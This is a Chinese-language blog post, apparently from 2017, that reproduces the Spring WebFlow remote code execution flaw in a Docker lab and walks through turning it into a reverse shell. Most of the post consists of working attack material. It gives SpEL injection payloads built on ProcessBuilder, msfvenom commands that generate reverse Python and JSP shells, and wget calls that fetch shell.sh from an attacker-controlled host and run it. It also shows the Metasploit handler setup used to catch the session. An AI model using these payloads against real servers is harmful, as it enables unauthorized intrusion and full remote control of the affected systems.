本文讲的是猥琐思路复现Spring WebFlow远程代码执行,说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发。

1.不温不火的漏洞

这个漏洞在六月份的时候就被提交了,但是官方也没有消息,所以圈子里没有人关注也就属于正常现象了。漏洞分析也在三天前发了出来,但是同样不温不火。我也是今天才知道。所以在没有事情的时候测试了一波,配合各种猥琐思路,成功拿到一个反弹的会话。

2.漏洞发现及产生原因

Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接

看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。

3.环境的搭建

docker环境下载地址:点击这里

别问我为什么不自己配环境。。讲一句心里话,我真的感觉做J2EE开发的程序员真心牛,他们配个环境分分钟的事情,还不会报错。今天本来打算自己配置这个spring环境的,结果,配置哭了,一天都没搞好。。还是python好,环境那么好配置。需要什么下什么,重点是一般都不会报什么错误。

没说JAVA不牛,大型项目还得他。zap还是用java写的囊,多牛。单纯环境难配置而已啦,果断选择别人做好的Docker

克隆完成后,执行两条命令

docker-compose build docker-compose up -d

完成之后访问http://ip:30082端口就一切ok了

按理来说访问到这个页面就可以执行漏洞操作了,但是为了方便后续的操作,可以进入docker环境的终端

docker ps –查看当前运行的docker进程

docker exec -it [id号] /bin/bash

之后登陆操作吧

访问:http://ip:30082/hotels/3

ps: 标记的订单号要写16位

之后设置好代理,进行抓包。

点击Confirm,在抓到的包之后添加

 &_(new+java.lang.ProcessBuilder("touch","/tmp/success")).start()=iswin

Go

返回Error不管,直接来到docker下的tmp目录看结果

成功生成一个success文件.

4.猥琐思路开始闪现

思路–1

默认是 没有python的,方便我的猥琐思路当然要装一个~

apt-get install python

文件创建成功了,还能命令执行,那还说啥子嘛~?直接上python反弹payload去执行

用msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o shell.py

获取反弹需要执行的代码

cat shell.py

但是这个时候注意到一个东西"",双引号这个东西,如果放到包中去会被闭合,那样的代码肯定没办法执行啊。不得行,不得不换下一个思路。

正在想怎么办,测试了一个别的命令,之后发现,命令之间不能加空格。。。如下

并没有执行成功。

思路–2

Spring框架,那肯定跟jsp挂钩,直接wget一个jsp马,因为wget命令默认是当前文件夹下,因为上面的得出的结论,并不能添加空格,指定路径,(就算能指定路径,也不知道绝对路径在哪里啊- -!),但是总得尝试的,测一下试试吧。

同样使用msfvenom

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.106 lport=4444 -o shell.jsp

把马移动到/var/www/html目录下,保证可以远程下载

mv shell.jsp /var/www/html/shell.jsp
service apache2 start

抓包,改包

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.jsp")).start()=iswin

不知道上传到了哪里,执行以下find命令,发现并不在网站根目录下。而是在tomcat目录下

怎么办?mv过去?首先,你不知道网站绝对路径,其次命令中不能加空格啊。好气啊,眼看到手的shell又飞了。不得不继续想办法。

猥琐思路–最终大招

方法肯定不止这一种,没有上面的两种思路,也不会有最后这种骚套路。你想到没?

实现方法:wget+python反弹shell

相信有经验童鞋已经有思路了。肯定很多人还蒙着囊,不是python 双引号被闭合了吗,还要怎么执行???

还不能有空格,怎么玩???别急嘛。

wget可以执行,并且默认都是在一个目录下的,没错python是不能执行,但是shell脚本可以执行啊。

把刚刚生成的python脚本写到一个shell脚本里,下载下来直接执行,一切不就ok了,每空格吧~,双引号?跟我有关系么,哈哈~思路有了,测试.

msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o /var/www/html/shell.sh

打开Metasploit设置监听

use exploit/multi/handler
set payload cmd/unix/reverse_python
set lhost 192.168.12.106
set lport 4444
exploit

提交吧

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.sh")).start()=iswin

执行shell脚本

&_(new+java.lang.ProcessBuilder("/bin/bash","shell.sh")).start()=iswin

成功返回会话

docker没有ifconfig命令的=

如果想获取Meterpreter回话,你觉得还会远么?自己YY

5.总结一下

之前还想写个检测脚本研究一下了,但是写着写着好像突然感觉到,这个漏洞没有像struts那个漏洞一样掀起浪潮是有原因的。他并不能像strtus这个漏洞那样直接可以测试的出,只有白盒才能测出问题所在,知道哪里使用了addEmptyValueMapping这个函数。并不能直接黑盒测试,或许也可以,将所有提交的数据包都加入payload检测,那相当于扫描全站了。或许在拿到授权的测试下,还是可以试一下的,但是我们这种复现漏洞的,还是别拿人家网站乱扫了。。

原文发布时间为:2017年6月15日
本文作者:smileTT
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

猥琐思路复现Spring WebFlow远程代码执行相关推荐

  1. Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

    一.漏洞描述 Spring WebFlow 在 Model 的数据绑定由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞. 二.影响版本 Sp ...

  2. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  3. 【高危漏洞通告】Spring Framework 远程代码执行 (CVE-2022-22965)

    [高危漏洞通告]Spring Framework 远程代码执行 (CVE-2022-22965)漏洞通告    一. 漏洞情况 Spring 框架(Framework)是一个开源的轻量级 J2EE 应 ...

  4. 安全修复之Web——Spring Framework 远程代码执行漏洞

    安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...

  5. spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)

    3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未授权的情况下远 ...

  6. Spring Messaging 远程代码执行漏洞分析(CVE-2018-1270)

    文章目录 Spring Messaging 远程命令执行漏洞(CVE-2018-1270) 相关知识 WebSocket.SockJS和STOMP STOMP的消息结构和示例 Spring Messa ...

  7. Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞

    漏洞描述 近日,墨云科技监测到Spring框架中存在远程代码执行漏洞,在JDK 9及以上版本环境下,攻击者通过构造恶意的请求修改中间件的日志文件,从而实现远程代码执行. 由于该漏洞的严重性,建议使用S ...

  8. Spring 框架远程代码执行漏洞(CVE-2022-22965)

    01 影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 及其衍生产品 JDK ≥ 9 JRE ≥ 9 02 前置知识: 1 ...

  9. php 远程代码执行漏洞复现 cve-2019-11043

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

最新文章

  1. HTML5怎么让图片和文字重叠,利用HTML5实现全屏图片文字过渡切换特效
  2. 聊聊高并发(四十)解析java.util.concurrent各个组件(十六) ThreadPoolExecutor源码分析
  3. Linux包管理速查表
  4. [算法题] Search in Rotated Sorted Array
  5. zookeeper springboot_摊牌了!我要手写一个“Spring Boot”
  6. C#方法的参数 Ref Out Params 4种类型的参数
  7. 快闪族 - 百度百科
  8. 几个知识蒸馏相关的BERT变体
  9. 论文笔记-深度估计(4) Semi-Supervised Deep Learning for Monocular Depth Map Prediction
  10. 使用Optuna进行超参数优化
  11. Java学习指南(15) 链表
  12. 计算机系统-大作业-hello的一生-哈尔滨工业大学2020级
  13. python结合ogr2ogr之地理数据格式转换-2
  14. 传感网复习(一)概要、组织结构
  15. miRNA的特征、功能及识别方法等详解
  16. Functional ALV系列 (05) - ALV 作为数据编辑界面
  17. 吴军的谷歌方法论|周末互动|如何避免成为耍小聪明的人
  18. Scala 编程题四 继承
  19. 服务器系统盘清理工具,服务器内存清理工具
  20. office32位和64位有什么区别吗

热门文章

  1. VB6 中 善用 ByRef 提升速度
  2. 网络管理:超级详细Tcpdump 的用法
  3. 儿童心理健康的十项注意
  4. 智能一代云平台(三十七):Java技术栈
  5. 一只初学者,如何登顶野生动物识别挑战赛?| 附代码
  6. 想让照片里的美女“回头”?清华MIT谷歌用AI帮你实现了
  7. 训练AI太辛苦?OpenAI新方法:不如让AI之间互教吧
  8. 深入理解Webpack核心模块Tapable钩子[同步版]
  9. Vue后台数据模拟以及抓取线上数据
  10. 机器学习数据集哪里找:最佳数据集来源盘点 1